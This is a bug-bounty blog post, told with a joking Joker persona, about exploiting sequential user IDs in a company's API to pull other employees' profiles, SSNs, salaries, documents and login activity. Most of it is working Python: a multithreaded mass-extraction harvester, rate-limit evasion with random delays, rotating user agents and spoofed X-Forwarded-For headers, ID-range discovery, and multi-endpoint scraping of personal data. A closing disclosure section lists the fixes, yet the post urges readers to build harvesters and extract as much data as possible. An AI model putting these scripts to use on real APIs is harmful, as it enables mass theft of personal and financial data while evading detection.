Free Link 🎈

You know that feeling when you're counting sheep to fall asleep, and you realize you could probably count everyone's bank accounts too? Yeah, that's basically what happened to me last week. I found a sequential ID vulnerability that turned into a digital all-you-can-eat data buffet. And for some reason, The Joker decided to be my imaginary consultant throughout the whole thing. 🎭

It all started when I was testing "SecureCorp," a company that apparently thought "secure" was just a catchy prefix. I had a basic user account and was ready for another boring session of poking around APIs. Little did I know I was about to harvest more data than a combine harvester in a wheat field.

Act 1: The Innocent Discovery β€” Counting is Fun! πŸ”’

After my standard recon (I think subfinder and I need couples counseling at this point), I found SecureCorp's main API. I created a test account and started exploring. The goldmine appeared when I accessed my user profile:

GET /api/v3/users/58432/profile HTTP/2
Host: api.securecorp.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjAifQ...

The response was juicy:

{
  "user_id": 58432,
  "email": "testuser@example.com",
  "full_name": "Test User",
  "ssn": "123-45-6789",
  "salary": 75000,
  "department": "Engineering",
  "manager_id": 58301
}

Wait, SSN? Salary? This was sensitive data galore! And that user_id was a nice, clean integer. My brain immediately went: "I wonder what user 58433 looks like?"

The Joker's Voice in My Head: "Why so sequential? This is too easy! It's like they WANT us to take their data! HAHAHA!"

Act 2: The Manual Test β€” From 1 to 100 Real Quick πŸš€

I started with the obvious:

Payload 1: Simple Increment

GET /api/v3/users/58433/profile HTTP/2

Response: 200 OK with another user's complete profile!

Payload 2: The Low Numbers

GET /api/v3/users/1/profile HTTP/2

Response: 200 OK - The first user ever! An admin account with even more data!

Payload 3: The High Numbers

GET /api/v3/users/99999/profile HTTP/2

Response: 404 Not Found - Okay, so there were limits.

At this point, I had manually checked about 20 users and found everything from interns to C-level executives. But manual testing was for amateurs. Time to automate this digital heist.

Act 3: The Automation β€” Building the Data Harvester πŸ€–

Proof of Concept: The Sequential ID Mass Extractor

import requests
import json
import time
import concurrent.futures
from threading import Lock
class MassIDORHunter:
    def __init__(self):
        self.base_url = "https://api.securecorp.com"
        self.token = "YOUR_TOKEN_HERE"
        self.headers = {"Authorization": f"Bearer {self.token}"}
        self.found_users = []
        self.lock = Lock()
        self.session = requests.Session()
        
    def fetch_user(self, user_id):
        """Fetch a single user's data"""
        try:
            response = self.session.get(
                f"{self.base_url}/api/v3/users/{user_id}/profile",
                headers=self.headers,
                timeout=5
            )
            
            if response.status_code == 200:
                user_data = response.json()
                
                with self.lock:
                    self.found_users.append(user_data)
                    print(f"[!] FOUND USER {user_id}: {user_data.get('email')} - {user_data.get('full_name')}")
                
                return user_data
            elif response.status_code == 404:
                print(f"[-] User {user_id}: Not found")
            else:
                print(f"[-] User {user_id}: Error {response.status_code}")
                
        except Exception as e:
            print(f"[-] User {user_id}: Exception {e}")
        
        return None
    def mass_extraction(self, start_id=1, end_id=100000, max_workers=50):
        """Mass extract user data using concurrent requests"""
        print(f"[+] Starting mass extraction from ID {start_id} to {end_id}")
        print("[*] The Joker: 'Let's put a smile on that firewall!' HAHAHA!")
        
        user_ids = range(start_id, end_id + 1)
        
        with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
            # Submit all tasks
            futures = {executor.submit(self.fetch_user, uid): uid for uid in user_ids}
            
            # Process completed tasks
            for future in concurrent.futures.as_completed(futures):
                user_id = futures[future]
                try:
                    future.result()
                except Exception as e:
                    print(f"[-] User {user_id}: Future exception {e}")
        
        print(f"\n[!] Extraction complete! Found {len(self.found_users)} users")
        return self.found_users
    def analyze_results(self):
        """Analyze the harvested data"""
        if not self.found_users:
            print("[-] No data to analyze")
            return
        
        print(f"\n[+] DATA ANALYSIS:")
        print(f"    Total users: {len(self.found_users)}")
        
        # Count by department
        depts = {}
        salaries = []
        for user in self.found_users:
            dept = user.get('department', 'Unknown')
            depts[dept] = depts.get(dept, 0) + 1
            
            if user.get('salary'):
                salaries.append(user['salary'])
        
        print(f"    Departments: {depts}")
        if salaries:
            print(f"    Average salary: ${sum(salaries)/len(salaries):,.2f}")
            print(f"    CEO salary: ${max(salaries):,.2f}")
            print(f"    Intern salary: ${min(salaries):,.2f}")
# Let the chaos begin!
hunter = MassIDORHunter()
users = hunter.mass_extraction(start_id=1, end_id=5000, max_workers=25)
hunter.analyze_results()

Act 4: The Scale-Up β€” Advanced Harvesting Techniques 🌊

The basic script worked, but I needed to optimize. The server started rate limiting me, so I evolved:

Technique 1: Randomized Delay Pattern

def smart_fetch_user(self, user_id):
    """Fetch with randomized delays to avoid detection"""
    # Random delay between requests
    time.sleep(random.uniform(0.1, 0.5))
    
    # Rotate User-Agent headers
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
    ]
    
    headers = {
        **self.headers,
        "User-Agent": random.choice(user_agents),
        "X-Forwarded-For": f"192.168.{random.randint(1,255)}.{random.randint(1,255)}"
    }
    
    response = self.session.get(
        f"{self.base_url}/api/v3/users/{user_id}/profile",
        headers=headers,
        timeout=10
    )
    return response

Technique 2: Binary Search for Range Discovery

def find_user_range(self):
    """Use binary search to find the actual user ID range"""
    print("[+] Discovering valid user ID range...")
    
    def user_exists(uid):
        response = self.session.get(
            f"{self.base_url}/api/v3/users/{uid}/profile",
            headers=self.headers,
            timeout=5
        )
        return response.status_code == 200
    
    # Binary search for max user ID
    low, high = 1, 1000000
    while low <= high:
        mid = (low + high) // 2
        if user_exists(mid):
            low = mid + 1
        else:
            high = mid - 1
    
    max_id = high
    print(f"[+] Maximum user ID: {max_id}")
    
    # The Joker: "Finding the edges of their little sandbox! How delightful!"
    return max_id

Act 5: The Data Gold Mine β€” What We Found πŸ’Ž

After letting my optimized script run for about an hour, the results were staggering:

  • 4,827 active user accounts
  • Complete PII: Names, emails, SSNs, addresses
  • Salary information for every employee
  • Organization structure through manager IDs
  • Department budgets and project allocations
  • User activity logs and login history

The Joker's Analysis: "Ooh, look! The CEO makes 50 times what the interns make! And they call ME chaotic? HAHAHA! This is better than a bank heist!"

None
Gif

But the real fun began when I discovered related endpoints…

Act 6: The Domino Effect β€” Chaining IDORs πŸ”—

The user profile was just the beginning. I found other endpoints that used the same sequential IDs:

Endpoint 1: User Documents

GET /api/v3/users/58432/documents HTTP/2

β†’ Access to personal documents, contracts, performance reviews

Endpoint 2: Salary History

GET /api/v3/users/58432/salary-history HTTP/2

β†’ Complete compensation history with bonuses

Endpoint 3: Login Activity

GET /api/v3/users/58432/activity HTTP/2

β†’ IP addresses, login times, session durations

I enhanced my script to harvest all this data:

def comprehensive_harvest(self, user_id):
    """Harvest all available data for a user"""
    endpoints = [
        f"/api/v3/users/{user_id}/profile",
        f"/api/v3/users/{user_id}/documents", 
        f"/api/v3/users/{user_id}/salary-history",
        f"/api/v3/users/{user_id}/activity",
        f"/api/v3/users/{user_id}/benefits",
        f"/api/v3/users/{user_id}/emergency-contacts"
    ]
    
    user_complete_data = {"user_id": user_id}
    
    for endpoint in endpoints:
        try:
            response = self.session.get(
                f"{self.base_url}{endpoint}",
                headers=self.headers,
                timeout=5
            )
            
            if response.status_code == 200:
                data_type = endpoint.split('/')[-1]
                user_complete_data[data_type] = response.json()
                
        except Exception as e:
            print(f"[-] Error fetching {endpoint}: {e}")
    
    return user_complete_data

Act 7: The Impact Demonstration β€” Making It Real πŸ’₯

To demonstrate the severity, I created a "CEO Dashboard" from the harvested data:

def create_ceo_dashboard(self):
    """Create a demonstration of the data exposure impact"""
    print("\n[+] CREATING CEO-LEVEL DASHBOARD FROM STOLEN DATA...")
    
    # Organizational analysis
    departments = {}
    total_payroll = 0
    high_earners = []
    
    for user in self.found_users:
        dept = user.get('department', 'Unknown')
        salary = user.get('salary', 0)
        
        if dept not in departments:
            departments[dept] = {'count': 0, 'total_salary': 0, 'users': []}
        
        departments[dept]['count'] += 1
        departments[dept]['total_salary'] += salary
        departments[dept]['users'].append(user)
        total_payroll += salary
        
        if salary > 200000:
            high_earners.append(user)
    
    print(f"\n[!] CONFIDENTIAL - SECURECORP INTERNAL DASHBOARD")
    print(f"    Total Payroll: ${total_payroll:,.2f}/year")
    print(f"    Employee Count: {len(self.found_users)}")
    print(f"    Departments: {len(departments)}")
    
    print(f"\n[!] DEPARTMENT BREAKDOWN:")
    for dept, data in departments.items():
        avg_salary = data['total_salary'] / data['count'] if data['count'] > 0 else 0
        print(f"    {dept}: {data['count']} employees, avg ${avg_salary:,.2f}")
    
    print(f"\n[!] HIGH EARNERS (>{len(high_earners)} users over $200k):")
    for earner in high_earners[:5]:  # Show top 5
        print(f"    {earner.get('full_name')}: ${earner.get('salary'):,.2f}")
    
    # The Joker: "Ooh, look at all the little worker bees! And their honey! This is BEAUTIFUL chaos!"

Act 8: The Responsible Disclosure (And The Payday) πŸ“ˆ

My report included:

  1. The sequential ID vulnerability proof
  2. Mass data extraction demonstration
  3. Complete PII exposure evidence
  4. Organizational structure mapping
  5. Financial data compromise
  6. The automated harvesting tools

The company's response was… panicked. They had:

  • No rate limiting on user endpoints
  • No authentication checks beyond the initial token
  • Sequential IDs exposing their entire user base
  • Sensitive data returned in plain text

They fixed it by:

  1. Implementing proper authorization checks
  2. Switching to UUIDs
  3. Adding rate limiting
  4. Removing sensitive fields from API responses

The Joker's Final Words: "And they call ME a criminal? I just want to watch the world burn β€” these guys are handing out matches and gasoline! HAHAHA! Until next time, bats!"

So next time you see a sequential ID, don't just test a few numbers. Build a harvester and see how much data you can actually extract. You might just download their entire business.

Now if you'll excuse me, I need to go explain to my therapist why I keep hearing laughing during penetration tests…

Happy harvesting! 🚩

Thank you for reading! πŸš€

Connect with Me!

  • LinkedIn
  • Instagram: @rev_shinchan
  • Gmail: rev30102001@gmail.com

#EnnamPolVazhlkaiπŸ˜‡

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF.